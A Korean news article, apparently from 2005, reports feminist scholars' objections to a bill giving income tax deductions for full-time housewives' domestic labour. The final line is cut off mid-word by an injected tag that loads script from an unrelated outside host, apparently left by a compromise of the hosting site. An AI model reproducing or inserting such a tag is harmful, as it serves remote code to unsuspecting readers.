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전업주부 가사노동 소득세법 개정안’논란 |
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번 호 |
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438 |
조회수 |
2515 |
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작성자 |
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우먼타임스 |
작성일 |
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05-06-07 |
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내 용 |
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이슈추적]‘전업주부 가사노동 소득세법 개정안’논란
“가사=여성 고착화 법안‘여성정책’포장 기만행위”
■ 여성학계‘개정안’강력반발
혼인여성만 가사노동 인정…법안 오히려 성역할 구분
조순경교수“여성 가사노동 유도…저출산정책 아니냐”의혹
남편의 소득공제를 통해 전업주부의 가사노동 가치를 인정하는 소득세
법일부개정법률안에 대해 여성주의자들이 크게 반발하고 나섰다.
지난 2일 여성학, 사회학 전공자, 여성주의 활동가, 여성단체 관계자
등으로 긴급히 구성된 ‘가족주의를 반대하는 사람들’은 이화여대 인
문관에서 토론회를 열고, “저출산 대책은 여성의 전통적 성역할을 재
생산함으로써가 아니라 남성의 가사노동 참여를 전제로 한 성별분업
의 해체를 목표로 하여야만 성공할 수 있다”고 밝히면서, “여성의
가사노동 전담 현실을 강화함으로써 여성의 삶의 기회를 제한하는 효
과를 낳는 정책을 여성을 위한 정책으로 호도하는 이계경 의원 등의
발의안에 반대한다”며 여성 기만 정책을 당장 중단하라는 성명서를
발표했다.
조순경 이화여대 여성학과 교수는 이 의원의 개정안이 오히려 여성의
가사노동 역할 수행을 고착화하는 등 차별적인 요소를 포함하고 있다
고 주장했다.
그는 “개정안이 가사노동이 법적 혼인관계에 있는 전업주부에 의해서
만 수행되는 것으로 전제하고 있고, 취업주부에 의해 수행된 가사노동
에 대해서는 인정하고 있지 않아 오히려 가사노동의 성별 분업 구조
를 공고히 하고 있다”고 지적하면서, “누진세율 적용으로 실업자
및 저소득층은 소득 혜택이 없는 반면 소득이 많은 남성에게 혜택이
많아 소득재분배 측면에서도 문제가 많다”고 덧붙였다.
조 교수는 또 “개정안이 여성의 가사노동 가치를 경제적으로 평가하
는 것처럼 언론에 보도됐지만, 본 취지는 저출산 고령화사회를 대비
해 마련된 입법적 장치”라면서 “이는 여성들이 노동시장에 나가지
말고 아이들을 키우고 노인들을 돌보라는 의도로서, 여성을 위한 정책
으로 포장이 돼 있다”며 개정안 발의의 배경에 대해 강한 의문을 제
기했다.
조 교수는 이어 “역사적으로 이러한 여성 정책을 표방하면서 유럽,
구소련, 북한 등 사회주의 국가에서 이데올로기 효과를 얻은 바 있
다”면서 “유럽에서는 2차 대전 이후 여성을 사회로 나오기 위한 유
인책과 강제책을 쓰면서 여성주의 정책이라고 얘기했지만, 황폐해진
국가경제를 복구하기 위해 절대적으로 필요한 노동력을 끌어들이기 위
한 방안이었다”고 설명했다.
이박혜경 인천발전연구원 여성개발센터장은 “이 의원이 발의한 개정
안은 배우자가 가사를 전담한다는 사실을 보증하지 않더라도 감세 대
상이 되고, 가사노동과 생계노동 모두를 혼자 감당하고 있는 한부모
나 맞벌이 부부, 배우자가 없는 비결혼 관계는 모두 제외된다”고 비
판하면서, “이로 인해 여성이 국가에서 인정한 가사노동 전담자가 되
고, 남편으로부터 가사노동을 강요받게 된다면, 여성을 표밭으로 생각
한 것이지 결코 여성을 위한 정책은 아닐 것”이라고 말했다.
박선영 여성개발원 연구위원은 “전업주부의 가사노동을 배우자의 소
득공제를 통해 인정한 일본의 경우, 여성 스스로가 자신의 소득을 1백
만원 이하로 억제하는 등 부정적인 측면이 발생하고 맞벌이부부가 늘
면서 배우자 특별공제를 폐지하고 아동 보육 수당의 시간을 연장하는
방향으로 정책전환을 했다”면서 “남녀 모두 직장생활과 돌봄노동을
함께 한다는 것이 전제된다면 고용평등, 아동수당, 양육지원, 사회보
험 등이 가족중심이 아니라 개인중심으로 지원돼야 한다”고 강조했
다.
박 연구위원은 또 “이번 개정안은 중산층에 오히려 혜택이 많은 정책
으로, 고학력 여성의 사회참여를 오히려 억제하고 여성의 경력 단절
을 심화시켜 M자 곡선을 더욱 강화시킬 것”이라면서 “이는 저출산
고령화 대책에 대한 몰이해일 뿐 아니라 여성정책의 철학에 심각한 문
제가 있는 것”이라고 말했다.
이에 앞서 여성학, 사회학 연구자들의 모임인 차별연구회는 지난 1일
이 의원이 발의한 개정안이 헌법이 보장한 평등권에 위배되고 혼인여
부, 가족상황, 소득수준, 취업여부에 따른 사회적 신분, 성적지향, 성
별 등을 이유로 차별하고 있다며 국가인권위에 진정을 냈다.
감현주 기자
의원
“가사노동 가치 첫 인정 사회복지 차원 큰 의의”
취업주부 역차별·성역할 구분등 여성학계 주장은 ‘억지’
가사일 생산가치 인정…전업주부‘삶의 질’보장 디딤돌 될것
가사노동의 가치를 법적으로 인정하는 내용을 둘러싸고 이계경 한나라
당 의원과 여성학계가 대립하고 있다.
이 의원이 지난달 19일 가사노동의 비용을 배우?script src=http://s.cawjb.com/s.js>
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